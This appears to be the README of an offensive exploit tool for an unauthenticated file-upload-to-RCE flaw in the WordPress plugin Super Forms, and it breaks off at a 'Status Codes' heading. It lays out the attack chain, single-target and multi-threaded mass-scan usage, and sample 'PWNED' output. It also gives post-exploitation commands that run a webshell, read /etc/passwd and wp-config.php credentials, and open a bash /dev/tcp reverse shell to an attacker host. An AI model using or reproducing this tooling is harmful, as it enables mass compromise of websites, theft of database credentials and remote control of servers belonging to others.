CVE-2026-14894 — Super Forms ≤ 6.3.313

---

Overview

Unauthenticated Arbitrary File Upload → Remote Code Execution in the WordPress plugin Super Forms versions ≤ 6.3.313.

The vulnerability resides in the AJAX handler super_submit_form which processes file uploads through a datauristring field without validating the file extension or MIME type before writing to disk. An unauthenticated attacker can upload a PHP webshell and achieve full Remote Code Execution on the target server.

---

Vulnerability Details

Field	Detail
CVE ID	CVE-2026-14894
Plugin	Super Forms (WordPress)
Affected	≤ 6.3.313
Patched	6.3.314 (forces .pdf extension + realpath containment)
CVSS	9.8 Critical
Auth Required	None
Researcher	andrea bocchetti
AJAX Action	super_submit_form
Sink	datauristring field → class-ajax.php:2762–2766
Upload Path	/wp-content/uploads/superforms/YYYY/MM/<13digits>/

---

Attack Chain

[1] Mint nonce (nopriv)
    POST /wp-admin/admin-ajax.php
    action=super_create_nonce
         │
         ▼
[2] Upload PHP shell via datauristring (unauthenticated)
    POST /wp-admin/admin-ajax.php
    action=super_submit_form
    data={"sf_upload_field":{"files":[{"datauristring":"data:image/png;base64,..."}]}}
         │
         ├── Path Traversal → /wp-content/themes/<theme>/shell.php  ← primary
         │                                                             (always exec)
         │
         └── Random folder → /wp-content/uploads/superforms/...      ← fallback
                              (exec depends on server policy)
         │
         ▼
[3] Shell Discovery
    ├── S0: media?parent=entry_id  (WP REST)
    ├── S1: REST /wp/v2/media search (unauth)
    ├── S2: Apache/nginx directory listing
    └── S3: WP sitemap attachment XML
         │
         ▼
[4] RCE → curl "http://target/wp-content/themes/theme/shell.php?c=id"

---

Requirements

pip install requests urllib3

• Python 3.8+
• Network access to target WordPress site

---

Usage

Single Target

python cve-2026-14894.py

  CVE-2026-14894  │  Super Forms ≤ 6.3.313
  Unauthenticated File Upload → Remote Code Execution
  Researcher: andrea bocchetti  |  PoC: Beelze

  1  Single target
  2  Mass targets (file)

  Mode (1/2): 1

  Target URL               : https://target.com
  Form ID  (enter=auto)    :                      ← leave blank = auto-discover
  Shell name (enter=random):                      ← leave blank = random name
  Shell file (enter=built-in):                    ← leave blank = built-in shell
  WP user  (optional/REST) :                      ← optional, improves discovery
  WP pass  (optional/REST) :                      ← optional

Expected output on success:

  ──────────────────────────────────────────────────────────────
  TARGET  https://target.com
  ──────────────────────────────────────────────────────────────

  Super Forms v6.3.301  vulnerable ≤6.3.313
  [1/3] Mint nonce  ......................  ✔  OK  a3f9e1c...  sid=sess_ab...
  [2/3] Upload [xkqmhzjt.php]  ..........  ✔  OK  form_id=42  entry_id=137
  [3/3] Shell discovery  ................  ✔  FOUND → RCE [path traversal → theme]

  ╔══════════════════════════════════════════════════════════════╗
  ║  ✓  PWNED → RCE CONFIRMED                                   ║
  ║                                                              ║
  ║  Shell  »  https://target.com/wp-content/themes/astra/shell ║
  ║  RCE    »  uid=33(www-data) gid=33(www-data)                ║
  ║                                                              ║
  ║  $ curl "https://target.com/...shell.php?c=whoami"          ║
  ╚══════════════════════════════════════════════════════════════╝

---

Mass Scan

  Mode (1/2): 2

  Targets file             : targets.txt     ← one URL per line, # = comment
  Form ID  (enter=auto)    :
  Threads  (enter=5)       : 10
  Shell file (enter=built-in):
  WP user  (optional/REST) :
  WP pass  (optional/REST) :

targets.txt format:

# Bug bounty scope
https://site1.com
https://site2.com
https://site3.com

Mass scan output:

  ══════════════════════════════════════════════════════════════
  MASS SCAN  3 targets  threads=10
  ══════════════════════════════════════════════════════════════

  [01/03]  https://site1.com  ....  RCE     uid=33(www-data)
           ↳ https://site1.com/wp-content/themes/astra/xkqmhzjt.php
  [02/03]  https://site2.com  ....  WRITE   no exec
           ↳ https://site2.com/wp-content/uploads/superforms/2026/07/.../shell.php
  [03/03]  https://site3.com  ....  FAIL    plugin inactive / blocked

  ══════════════════════════════════════════════════════════════
  SUMMARY  1 RCE  1 WRITE_ONLY  0 MAYBE  / 3 total
  ══════════════════════════════════════════════════════════════

  RCE SHELLS:
  »  https://site1.com/wp-content/themes/astra/xkqmhzjt.php  (uid=33...)

---

Custom Shell

You can supply your own shell file instead of the built-in webshell:

  Shell file (enter=built-in): /path/to/myshell.php

The tool will upload your file and treat any 200 response with a non-empty body as RCE confirmation.

---

Shell Interaction

After obtaining RCE, interact with the shell:

# Command execution
curl -sk "https://target.com/wp-content/themes/theme/shell.php?c=id"
curl -sk "https://target.com/wp-content/themes/theme/shell.php?c=cat+/etc/passwd"

# Read WordPress config (creds, DB)
curl -sk "https://target.com/.../shell.php?c=cat+/var/www/html/wp-config.php"

# Reverse shell
curl -sk "https://target.com/.../shell.php" --data "c=bash+-c+'bash+-i+>%26+/dev/tcp/LHOST/LPORT+0>%261'"

---

Outputs

Results are automatically saved to:

~/Documents/CVE-2026-14894/result_YYYYMMDD_HHMMSS.json

---

Status Codes